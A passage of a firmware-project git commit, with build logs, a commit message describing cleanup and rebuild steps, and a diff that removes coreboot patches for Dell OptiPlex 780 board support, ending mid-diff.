build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_15.bin cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_16.bin cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_17.bin cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_18.bin cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_19.bin cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_2.bin cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_20.bin cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_3.bin cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_4.bin cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_5.bin cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_6.bin cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_7.bin cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_8.bin cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_9.bin cleanly. Applying patch file : patches/coreboot-2412/0004-mb-dell-Add-Optiplex-780-MT-x4x-ICH10.patch Checking patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/Kconfig... Checking patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/Kconfig.name... Checking patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/Makefile.mk... Checking patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/acpi/ec.asl... Checking patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/acpi/ich10_pci_irqs.asl... Checking patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/acpi/superio.asl... Checking patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/board_info.txt... Checking patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/cmos.default... Checking patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/cmos.layout... Checking patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/cstates.c... Checking patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/devicetree.cb... Checking patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/dsdt.asl... Checking patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/gma-mainboard.ads... Checking patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/variants/780_mt/data.vbt... Checking patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/variants/780_mt/early_init.c... Checking patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/variants/780_mt/gpio.c... Checking patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/variants/780_mt/hda_verb.c... Checking patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/variants/780_mt/overridetree.cb... Applied patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/Kconfig cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/Kconfig.name cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/Makefile.mk cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/acpi/ec.asl cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/acpi/ich10_pci_irqs.asl cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/acpi/superio.asl cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/board_info.txt cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/cmos.default cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/cmos.layout cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/cstates.c cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/devicetree.cb cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/dsdt.asl cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/gma-mainboard.ads cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/variants/780_mt/data.vbt cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/variants/780_mt/early_init.c cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/variants/780_mt/gpio.c cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/variants/780_mt/hda_verb.c cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/variants/780_mt/overridetree.cb cleanly. Applying patch file : patches/coreboot-2412/0005-util-ifdtool-add-nuke-flag-all-0xFF-on-region.patch Checking patch build/x86/coreboot-2412/util/ifdtool/ifdtool.c... Applied patch build/x86/coreboot-2412/util/ifdtool/ifdtool.c cleanly. Applying patch file : patches/coreboot-2412/0006-Remove-warning-for-coreboot-images-built-without-a-p.patch Checking patch build/x86/coreboot-2412/payloads/Makefile.mk... Applied patch build/x86/coreboot-2412/payloads/Makefile.mk cleanly. Applying patch file : patches/coreboot-2412/0007-mb-dell-optiplex_780-Add-USFF-variant.patch Checking patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/Kconfig... Checking patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/Kconfig.name... Checking patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/variants/780_usff/data.vbt... Checking patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/variants/780_usff/early_init.c... Checking patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/variants/780_usff/gpio.c... Checking patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/variants/780_usff/hda_verb.c... Checking patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/variants/780_usff/overridetree.cb... Applied patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/Kconfig cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/Kconfig.name cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/variants/780_usff/data.vbt cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/variants/780_usff/early_init.c cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/variants/780_usff/gpio.c cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/variants/780_usff/hda_verb.c cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_780/variants/780_usff/overridetree.cb cleanly. Applying patch file : patches/coreboot-2412/0008-dell-3050micro-disable-nvme-hotplug.patch Checking patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_3050/devicetree.cb... Applied patch build/x86/coreboot-2412/src/mainboard/dell/optiplex_3050/devicetree.cb cleanly. Applying patch file : patches/coreboot-2412/0009-lenovo-Add-Kconfig-option-CONFIG_LENOVO_TBFW_BIN.patch Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/Kconfig... Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/Kconfig cleanly. Applying patch file : patches/coreboot-2412/0010-soc-intel-skylake-Don-t-compress-FSP-S.patch Checking patch build/x86/coreboot-2412/src/soc/intel/skylake/Kconfig... Applied patch build/x86/coreboot-2412/src/soc/intel/skylake/Kconfig cleanly. Applying patch file : patches/coreboot-2412/0011-soc-intel-pmc-Hardcoded-poweroff-after-power-fail.patch Checking patch build/x86/coreboot-2412/src/soc/intel/common/block/pmc/pmclib.c... Applied patch build/x86/coreboot-2412/src/soc/intel/common/block/pmc/pmclib.c cleanly. Applying patch file : patches/coreboot-2412/0012-ec-dasharo-Comment-EC_DASHARO_EC_FLASH_SIZE.patch Checking patch build/x86/coreboot-2412/src/ec/dasharo/ec/Kconfig... Applied patch build/x86/coreboot-2412/src/ec/dasharo/ec/Kconfig cleanly. Applying patch file : patches/coreboot-2412/0013-src-intel-skylake-Disable-stack-overflow-debug-optio.patch Checking patch build/x86/coreboot-2412/src/soc/intel/skylake/Kconfig... Applied patch build/x86/coreboot-2412/src/soc/intel/skylake/Kconfig cleanly. Applying patch file : patches/coreboot-2412/0014-src-intel-x4x-Disable-stack-overflow-debug.patch Checking patch build/x86/coreboot-2412/src/northbridge/intel/x4x/Kconfig... Applied patch build/x86/coreboot-2412/src/northbridge/intel/x4x/Kconfig cleanly. Applying patch file : patches/coreboot-2412/85278-post-skylake-pr0.patch Checking patch build/x86/coreboot-2412/src/soc/intel/alderlake/finalize.c... Checking patch build/x86/coreboot-2412/src/soc/intel/cannonlake/finalize.c... Checking patch build/x86/coreboot-2412/src/soc/intel/common/block/lpc/Makefile.mk... Checking patch build/x86/coreboot-2412/src/soc/intel/common/block/smm/smihandler.c... Checking patch build/x86/coreboot-2412/src/soc/intel/common/pch/include/intelpch/lockdown.h... Checking patch build/x86/coreboot-2412/src/soc/intel/common/pch/lockdown/Kconfig... Checking patch build/x86/coreboot-2412/src/soc/intel/common/pch/lockdown/Makefile.mk... Checking patch build/x86/coreboot-2412/src/soc/intel/common/pch/lockdown/lockdown.c... Checking patch build/x86/coreboot-2412/src/soc/intel/common/pch/lockdown/lockdown_lpc.c... Checking patch build/x86/coreboot-2412/src/soc/intel/common/pch/lockdown/lockdown_spi.c... Checking patch build/x86/coreboot-2412/src/soc/intel/denverton_ns/lpc.c... Checking patch build/x86/coreboot-2412/src/soc/intel/elkhartlake/finalize.c... Checking patch build/x86/coreboot-2412/src/soc/intel/jasperlake/finalize.c... Checking patch build/x86/coreboot-2412/src/soc/intel/meteorlake/finalize.c... Checking patch build/x86/coreboot-2412/src/soc/intel/pantherlake/finalize.c... Checking patch build/x86/coreboot-2412/src/soc/intel/skylake/finalize.c... Checking patch build/x86/coreboot-2412/src/soc/intel/tigerlake/finalize.c... Applied patch build/x86/coreboot-2412/src/soc/intel/alderlake/finalize.c cleanly. Applied patch build/x86/coreboot-2412/src/soc/intel/cannonlake/finalize.c cleanly. Applied patch build/x86/coreboot-2412/src/soc/intel/common/block/lpc/Makefile.mk cleanly. Applied patch build/x86/coreboot-2412/src/soc/intel/common/block/smm/smihandler.c cleanly. Applied patch build/x86/coreboot-2412/src/soc/intel/common/pch/include/intelpch/lockdown.h cleanly. Applied patch build/x86/coreboot-2412/src/soc/intel/common/pch/lockdown/Kconfig cleanly. Applied patch build/x86/coreboot-2412/src/soc/intel/common/pch/lockdown/Makefile.mk cleanly. Applied patch build/x86/coreboot-2412/src/soc/intel/common/pch/lockdown/lockdown.c cleanly. Applied patch build/x86/coreboot-2412/src/soc/intel/common/pch/lockdown/lockdown_lpc.c cleanly. Applied patch build/x86/coreboot-2412/src/soc/intel/common/pch/lockdown/lockdown_spi.c cleanly. Applied patch build/x86/coreboot-2412/src/soc/intel/denverton_ns/lpc.c cleanly. Applied patch build/x86/coreboot-2412/src/soc/intel/elkhartlake/finalize.c cleanly. Applied patch build/x86/coreboot-2412/src/soc/intel/jasperlake/finalize.c cleanly. Applied patch build/x86/coreboot-2412/src/soc/intel/meteorlake/finalize.c cleanly. Applied patch build/x86/coreboot-2412/src/soc/intel/pantherlake/finalize.c cleanly. Applied patch build/x86/coreboot-2412/src/soc/intel/skylake/finalize.c cleanly. Applied patch build/x86/coreboot-2412/src/soc/intel/tigerlake/finalize.c cleanly. - remove patches unrelated to t480, skylake etc - clean local build cache for coreboot fork - remove files added per patches - sudo rm -rf build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480* - rewrite canary content so that coreboot fork si resynced - echo "bogus" |sudo tee build/x86/coreboot-2412/.canary - rebuild the board, so that coreboot fork is resynced and patches are reapplied - ./docker_repro.sh make BOARD=t480-hotp-maximized - save oldconfig changes from patches applied/removed - ./docker_repro.sh make BOARD=t480-maximized coreboot.modify_and_save_oldconfig_in_place Signed-off-by: Thierry Laurion --- config/coreboot-t480-maximized.config | 1 + ...b-dell-Add-Optiplex-780-MT-x4x-ICH10.patch | 708 ------------------ ...ool-add-nuke-flag-all-0xFF-on-region.patch | 205 ----- ...or-coreboot-images-built-without-a-p.patch | 39 - ...b-dell-optiplex_780-Add-USFF-variant.patch | 326 -------- ...-dell-3050micro-disable-nvme-hotplug.patch | 49 -- ...c-intel-skylake-Don-t-compress-FSP-S.patch | 36 - 7 files changed, 1 insertion(+), 1363 deletions(-) delete mode 100644 patches/coreboot-2412/0004-mb-dell-Add-Optiplex-780-MT-x4x-ICH10.patch delete mode 100644 patches/coreboot-2412/0005-util-ifdtool-add-nuke-flag-all-0xFF-on-region.patch delete mode 100644 patches/coreboot-2412/0006-Remove-warning-for-coreboot-images-built-without-a-p.patch delete mode 100644 patches/coreboot-2412/0007-mb-dell-optiplex_780-Add-USFF-variant.patch delete mode 100644 patches/coreboot-2412/0008-dell-3050micro-disable-nvme-hotplug.patch delete mode 100644 patches/coreboot-2412/0010-soc-intel-skylake-Don-t-compress-FSP-S.patch diff --git a/config/coreboot-t480-maximized.config b/config/coreboot-t480-maximized.config index b9379ff79..a9e80a7ed 100644 --- a/config/coreboot-t480-maximized.config +++ b/config/coreboot-t480-maximized.config @@ -652,6 +652,7 @@ CONFIG_FSP_FULL_FD=y CONFIG_FSP_T_RESERVED_SIZE=0x0 CONFIG_FSP_M_XIP=y CONFIG_HAVE_FSP_LOGO_SUPPORT=y +CONFIG_FSP_COMPRESS_FSP_S_LZ4=y CONFIG_SOC_INTEL_COMMON_FSP_RESET=y CONFIG_USE_FSP_NOTIFY_PHASE_POST_PCI_ENUM=y CONFIG_USE_FSP_NOTIFY_PHASE_READY_TO_BOOT=y diff --git a/patches/coreboot-2412/0004-mb-dell-Add-Optiplex-780-MT-x4x-ICH10.patch b/patches/coreboot-2412/0004-mb-dell-Add-Optiplex-780-MT-x4x-ICH10.patch deleted file mode 100644 index 77513b775..000000000 --- a/patches/coreboot-2412/0004-mb-dell-Add-Optiplex-780-MT-x4x-ICH10.patch +++ /dev/null @@ -1,708 +0,0 @@ -From 2527c4a5131d7b33e43bbc03a94921e7e59b4b02 Mon Sep 17 00:00:00 2001 -From: Nicholas Chin -Date: Mon, 30 Sep 2024 20:44:38 -0400 -Subject: [PATCH 04/11] mb/dell: Add Optiplex 780 MT (x4x/ICH10) - -Change-Id: Idb45737ce95bfd26e978323c650de7d308b5079c -Signed-off-by: Nicholas Chin ---- - src/mainboard/dell/optiplex_780/Kconfig | 40 ++++ - src/mainboard/dell/optiplex_780/Kconfig.name | 4 + - src/mainboard/dell/optiplex_780/Makefile.mk | 10 + - src/mainboard/dell/optiplex_780/acpi/ec.asl | 5 + - .../dell/optiplex_780/acpi/ich10_pci_irqs.asl | 32 ++++ - .../dell/optiplex_780/acpi/superio.asl | 18 ++ - .../dell/optiplex_780/board_info.txt | 6 + - src/mainboard/dell/optiplex_780/cmos.default | 8 + - src/mainboard/dell/optiplex_780/cmos.layout | 72 ++++++++ - src/mainboard/dell/optiplex_780/cstates.c | 8 + - src/mainboard/dell/optiplex_780/devicetree.cb | 63 +++++++ - src/mainboard/dell/optiplex_780/dsdt.asl | 26 +++ - .../dell/optiplex_780/gma-mainboard.ads | 16 ++ - .../optiplex_780/variants/780_mt/data.vbt | Bin 0 -> 1917 bytes - .../optiplex_780/variants/780_mt/early_init.c | 12 ++ - .../dell/optiplex_780/variants/780_mt/gpio.c | 174 ++++++++++++++++++ - .../optiplex_780/variants/780_mt/hda_verb.c | 26 +++ - .../variants/780_mt/overridetree.cb | 10 + - 18 files changed, 530 insertions(+) - create mode 100644 src/mainboard/dell/optiplex_780/Kconfig - create mode 100644 src/mainboard/dell/optiplex_780/Kconfig.name - create mode 100644 src/mainboard/dell/optiplex_780/Makefile.mk - create mode 100644 src/mainboard/dell/optiplex_780/acpi/ec.asl - create mode 100644 src/mainboard/dell/optiplex_780/acpi/ich10_pci_irqs.asl - create mode 100644 src/mainboard/dell/optiplex_780/acpi/superio.asl - create mode 100644 src/mainboard/dell/optiplex_780/board_info.txt - create mode 100644 src/mainboard/dell/optiplex_780/cmos.default - create mode 100644 src/mainboard/dell/optiplex_780/cmos.layout - create mode 100644 src/mainboard/dell/optiplex_780/cstates.c - create mode 100644 src/mainboard/dell/optiplex_780/devicetree.cb - create mode 100644 src/mainboard/dell/optiplex_780/dsdt.asl - create mode 100644 src/mainboard/dell/optiplex_780/gma-mainboard.ads - create mode 100644 src/mainboard/dell/optiplex_780/variants/780_mt/data.vbt - create mode 100644 src/mainboard/dell/optiplex_780/variants/780_mt/early_init.c - create mode 100644 src/mainboard/dell/optiplex_780/variants/780_mt/gpio.c - create mode 100644 src/mainboard/dell/optiplex_780/variants/780_mt/hda_verb.c - create mode 100644 src/mainboard/dell/optiplex_780/variants/780_mt/overridetree.cb - -diff --git a/src/mainboard/dell/optiplex_780/Kconfig b/src/mainboard/dell/optiplex_780/Kconfig -new file mode 100644 -index 0000000000..2d06c75c9a ---- /dev/null -+++ b/src/mainboard/dell/optiplex_780/Kconfig -@@ -0,0 +1,40 @@ -+## SPDX-License-Identifier: GPL-2.0-only -+ -+config BOARD_DELL_OPTIPLEX_780_COMMON -+ def_bool n -+ select BOARD_ROMSIZE_KB_8192 -+ select CPU_INTEL_SOCKET_LGA775 -+ select DRIVERS_I2C_CK505 -+ select HAVE_ACPI_RESUME -+ select HAVE_ACPI_TABLES -+ select HAVE_CMOS_DEFAULT -+ select HAVE_OPTION_TABLE -+ select INTEL_GMA_HAVE_VBT -+ select MAINBOARD_HAS_LIBGFXINIT -+ select MAINBOARD_USES_IFD_GBE_REGION -+ select NORTHBRIDGE_INTEL_X4X -+ select PCIEXP_ASPM -+ select PCIEXP_CLK_PM -+ select SOUTHBRIDGE_INTEL_I82801JX -+ -+config BOARD_DELL_OPTIPLEX_780_MT -+ select BOARD_DELL_OPTIPLEX_780_COMMON -+ -+if BOARD_DELL_OPTIPLEX_780_COMMON -+ -+config VGA_BIOS_ID -+ default "8086,2e22" -+ -+config MAINBOARD_DIR -+ default "dell/optiplex_780" -+ -+config MAINBOARD_PART_NUMBER -+ default "OptiPlex 780 MT" if BOARD_DELL_OPTIPLEX_780_MT -+ -+config OVERRIDE_DEVICETREE -+ default "variants/\$(CONFIG_VARIANT_DIR)/overridetree.cb" -+ -+config VARIANT_DIR -+ default "780_mt" if BOARD_DELL_OPTIPLEX_780_MT -+ -+endif # BOARD_DELL_OPTIPLEX_780_COMMON -diff --git a/src/mainboard/dell/optiplex_780/Kconfig.name b/src/mainboard/dell/optiplex_780/Kconfig.name -new file mode 100644 -index 0000000000..db7f2e8fe3 ---- /dev/null -+++ b/src/mainboard/dell/optiplex_780/Kconfig.name -@@ -0,0 +1,4 @@ -+## SPDX-License-Identifier: GPL-2.0-only -+ -+config BOARD_DELL_OPTIPLEX_780_MT -+ bool "OptiPlex 780 MT" -diff --git a/src/mainboard/dell/optiplex_780/Makefile.mk b/src/mainboard/dell/optiplex_780/Makefile.mk -new file mode 100644 -index 0000000000..d462995d75 ---- /dev/null -+++ b/src/mainboard/dell/optiplex_780/Makefile.mk -@@ -0,0 +1,10 @@ -+# SPDX-License-Identifier: GPL-2.0-only -+ -+ramstage-y += cstates.c -+romstage-y += variants/$(VARIANT_DIR)/gpio.c -+ -+bootblock-y += variants/$(VARIANT_DIR)/early_init.c -+romstage-y += variants/$(VARIANT_DIR)/early_init.c -+ -+ramstage-$(CONFIG_MAINBOARD_USE_LIBGFXINIT) += gma-mainboard.ads -+ramstage-y += variants/$(VARIANT_DIR)/hda_verb.c -diff --git a/src/mainboard/dell/optiplex_780/acpi/ec.asl b/src/mainboard/dell/optiplex_780/acpi/ec.asl -new file mode 100644 -index 0000000000..479296cb76 ---- /dev/null -+++ b/src/mainboard/dell/optiplex_780/acpi/ec.asl -@@ -0,0 +1,5 @@ -+/* SPDX-License-Identifier: CC-PDDC */ -+ -+/* Please update the license if adding licensable material. */ -+ -+/* dummy */ -diff --git a/src/mainboard/dell/optiplex_780/acpi/ich10_pci_irqs.asl b/src/mainboard/dell/optiplex_780/acpi/ich10_pci_irqs.asl -new file mode 100644 -index 0000000000..b7588dcc41 ---- /dev/null -+++ b/src/mainboard/dell/optiplex_780/acpi/ich10_pci_irqs.asl -@@ -0,0 +1,32 @@ -+/* SPDX-License-Identifier: GPL-2.0-only */ -+ -+/* This is board specific information: -+ * IRQ routing for the 0:1e.0 PCI bridge of the ICH10 -+ */ -+ -+If (PICM) { -+ Return (Package() { -+ /* PCI slot */ -+ Package() { 0x0001ffff, 0, 0, 0x14}, -+ Package() { 0x0001ffff, 1, 0, 0x15}, -+ Package() { 0x0001ffff, 2, 0, 0x16}, -+ Package() { 0x0001ffff, 3, 0, 0x17}, -+ -+ Package() { 0x0002ffff, 0, 0, 0x15}, -+ Package() { 0x0002ffff, 1, 0, 0x16}, -+ Package() { 0x0002ffff, 2, 0, 0x17}, -+ Package() { 0x0002ffff, 3, 0, 0x14}, -+ }) -+} Else { -+ Return (Package() { -+ Package() { 0x0001ffff, 0, \_SB.PCI0.LPCB.LNKE, 0}, -+ Package() { 0x0001ffff, 1, \_SB.PCI0.LPCB.LNKF, 0}, -+ Package() { 0x0001ffff, 2, \_SB.PCI0.LPCB.LNKG, 0}, -+ Package() { 0x0001ffff, 3, \_SB.PCI0.LPCB.LNKH, 0}, -+ -+ Package() { 0x0002ffff, 0, \_SB.PCI0.LPCB.LNKF, 0}, -+ Package() { 0x0002ffff, 1, \_SB.PCI0.LPCB.LNKG, 0}, -+ Package() { 0x0002ffff, 2, \_SB.PCI0.LPCB.LNKH, 0}, -+ Package() { 0x0002ffff, 3, \_SB.PCI0.LPCB.LNKE, 0}, -+ }) -+} -diff --git a/src/mainboard/dell/optiplex_780/acpi/superio.asl b/src/mainboard/dell/optiplex_780/acpi/superio.asl -new file mode 100644 -index 0000000000..9f3900b86c ---- /dev/null -+++ b/src/mainboard/dell/optiplex_780/acpi/superio.asl -@@ -0,0 +1,18 @@ -+/* SPDX-License-Identifier: GPL-2.0-only */ -+ -+#undef SUPERIO_DEV -+#undef SUPERIO_PNP_BASE -+#undef IT8720F_SHOW_SP1 -+#undef IT8720F_SHOW_SP2 -+#undef IT8720F_SHOW_EC -+#undef IT8720F_SHOW_KBCK -+#undef IT8720F_SHOW_KBCM -+#undef IT8720F_SHOW_GPIO -+#undef IT8720F_SHOW_CIR -+#define SUPERIO_DEV SIO0 -+#define SUPERIO_PNP_BASE 0x2e -+#define IT8720F_SHOW_EC 1 -+#define IT8720F_SHOW_KBCK 1 -+#define IT8720F_SHOW_KBCM 1 -+#define IT8720F_SHOW_GPIO 1 -+#include -diff --git a/src/mainboard/dell/optiplex_780/board_info.txt b/src/mainboard/dell/optiplex_780/board_info.txt -new file mode 100644 -index 0000000000..aaf657b583 ---- /dev/null -+++ b/src/mainboard/dell/optiplex_780/board_info.txt -@@ -0,0 +1,6 @@ -+Category: desktop -+Board URL: https://www.acer.com/ac/en/GB/content/support-product/1137?b=1 -+ROM package: SOIC-8 -+ROM protocol: SPI -+ROM socketed: n -+Flashrom support: y -diff --git a/src/mainboard/dell/optiplex_780/cmos.default b/src/mainboard/dell/optiplex_780/cmos.default -new file mode 100644 -index 0000000000..23f0e55f3e ---- /dev/null -+++ b/src/mainboard/dell/optiplex_780/cmos.default -@@ -0,0 +1,8 @@ -+## SPDX-License-Identifier: GPL-2.0-only -+ -+boot_option=Fallback -+debug_level=Debug -+power_on_after_fail=Disable -+nmi=Enable -+sata_mode=AHCI -+gfx_uma_size=64M -diff --git a/src/mainboard/dell/optiplex_780/cmos.layout b/src/mainboard/dell/optiplex_780/cmos.layout -new file mode 100644 -index 0000000000..9f5012adb4 ---- /dev/null -+++ b/src/mainboard/dell/optiplex_780/cmos.layout -@@ -0,0 +1,72 @@ -+## SPDX-License-Identifier: GPL-2.0-only -+ -+# ----------------------------------------------------------------- -+entries -+ -+# ----------------------------------------------------------------- -+0 120 r 0 reserved_memory -+ -+# ----------------------------------------------------------------- -+# RTC_BOOT_BYTE (coreboot hardcoded) -+384 1 e 4 boot_option -+388 4 h 0 reboot_counter -+ -+# ----------------------------------------------------------------- -+# coreboot config options: console -+395 4 e 6 debug_level -+ -+# coreboot config options: southbridge -+408 1 e 10 sata_mode -+409 2 e 7 power_on_after_fail -+411 1 e 1 nmi -+ -+# coreboot config options: cpu -+ -+# coreboot config options: northbridge -+432 4 e 11 gfx_uma_size -+ -+# coreboot config options: check sums -+984 16 h 0 check_sum -+ -+# ----------------------------------------------------------------- -+ -+enumerations -+ -+#ID value text -+1 0 Disable -+1 1 Enable -+2 0 Enable -+2 1 Disable -+4 0 Fallback -+4 1 Normal -+6 0 Emergency -+6 1 Alert -+6 2 Critical -+6 3 Error -+6 4 Warning -+6 5 Notice -+6 6 Info -+6 7 Debug -+6 8 Spew -+7 0 Disable -+7 1 Enable -+7 2 Keep -+10 0 AHCI -+10 1 Compatible -+11 1 4M -+11 2 8M -+11 3 16M -+11 4 32M -+11 5 48M -+11 6 64M -+11 7 128M -+11 8 256M -+11 9 96M -+11 10 160M -+11 11 224M -+11 12 352M -+ -+# ----------------------------------------------------------------- -+checksums -+ -+checksum 392 983 984 -diff --git a/src/mainboard/dell/optiplex_780/cstates.c b/src/mainboard/dell/optiplex_780/cstates.c -new file mode 100644 -index 0000000000..4adf0edc63 ---- /dev/null -+++ b/src/mainboard/dell/optiplex_780/cstates.c -@@ -0,0 +1,8 @@ -+/* SPDX-License-Identifier: GPL-2.0-only */ -+ -+#include -+ -+int get_cst_entries(const acpi_cstate_t **entries) -+{ -+ return 0; -+} -diff --git a/src/mainboard/dell/optiplex_780/devicetree.cb b/src/mainboard/dell/optiplex_780/devicetree.cb -new file mode 100644 -index 0000000000..95e3bd517c ---- /dev/null -+++ b/src/mainboard/dell/optiplex_780/devicetree.cb -@@ -0,0 +1,63 @@ -+# SPDX-License-Identifier: GPL-2.0-or-later -+ -+chip northbridge/intel/x4x -+ device cpu_cluster 0 on ops x4x_cpu_bus_ops end # APIC cluster -+ device domain 0 on -+ ops x4x_pci_domain_ops # PCI domain -+ subsystemid 0x8086 0x0028 inherit -+ device pci 0.0 on end # Host Bridge -+ device pci 1.0 on end # PCIe x16 2.0 slot -+ device pci 2.0 on end # Integrated graphics controller -+ device pci 2.1 on end # Integrated graphics controller 2 -+ device pci 3.0 off end # ME -+ device pci 3.1 off end # ME -+ chip southbridge/intel/i82801jx # ICH10 -+ register "gpe0_en" = "0x40" -+ -+ # Set AHCI mode. -+ register "sata_port_map" = "0x3f" -+ register "sata_clock_request" = "1" -+ -+ # Enable PCIe ports 0,1 as slots. -+ register "pcie_slot_implemented" = "0x3" -+ -+ device pci 19.0 on end # GBE -+ device pci 1a.0 on end # USB -+ device pci 1a.1 on end # USB -+ device pci 1a.2 on end # USB -+ device pci 1a.7 on end # USB -+ device pci 1b.0 on end # Audio -+ device pci 1c.0 off end # PCIe 1 -+ device pci 1c.1 off end # PCIe 2 -+ device pci 1c.2 off end # PCIe 3 -+ device pci 1c.3 off end # PCIe 4 -+ device pci 1c.4 off end # PCIe 5 -+ device pci 1c.5 off end # PCIe 6 -+ device pci 1d.0 on end # USB -+ device pci 1d.1 on end # USB -+ device pci 1d.2 on end # USB -+ device pci 1d.7 on end # USB -+ device pci 1e.0 on end # PCI bridge -+ device pci 1f.0 on end # LPC bridge -+ device pci 1f.2 on end # SATA (IDE: port 0-3, AHCI/RAID: 0-5) -+ device pci 1f.3 on # SMBus -+ chip drivers/i2c/ck505 # IDT CV194 -+ register "mask" = "{ 0xff, 0xff, 0xff, 0xff, -+ 0xff, 0xff, 0xff, 0xff, -+ 0xff, 0xff, 0xff, 0xff, -+ 0xff, 0xff, 0xff, 0xff, -+ 0xff, 0xff, 0xff }" -+ register "regs" = "{ 0x15, 0x82, 0xff, 0xff, -+ 0xff, 0x00, 0x00, 0x95, -+ 0x00, 0x65, 0x7d, 0x56, -+ 0x13, 0xc0, 0x00, 0x07, -+ 0x01, 0x0a, 0x64 }" -+ device i2c 69 on end -+ end -+ end -+ device pci 1f.4 off end -+ device pci 1f.5 off end # SATA 2 (for port 4-5 in IDE mode) -+ device pci 1f.6 off end # Thermal Subsystem -+ end -+ end -+end -diff --git a/src/mainboard/dell/optiplex_780/dsdt.asl b/src/mainboard/dell/optiplex_780/dsdt.asl -new file mode 100644 -index 0000000000..9ad70469de ---- /dev/null -+++ b/src/mainboard/dell/optiplex_780/dsdt.asl -@@ -0,0 +1,26 @@ -+/* SPDX-License-Identifier: GPL-2.0-only */ -+ -+#include -+DefinitionBlock( -+ "dsdt.aml", -+ "DSDT", -+ ACPI_DSDT_REV_2, -+ OEM_ID, -+ ACPI_TABLE_CREATOR, -+ 0x20090811 // OEM revision -+) -+{ -+ #include -+ -+ OSYS = 2002 -+ // global NVS and variables -+ #include -+ -+ Device (\_SB.PCI0) -+ { -+ #include -+ #include -+ } -+ -+ #include -+} -diff --git a/src/mainboard/dell/optiplex_780/gma-mainboard.ads b/src/mainboard/dell/optiplex_780/gma-mainboard.ads -new file mode 100644 -index 0000000000..bc81cf4a40 ---- /dev/null -+++ 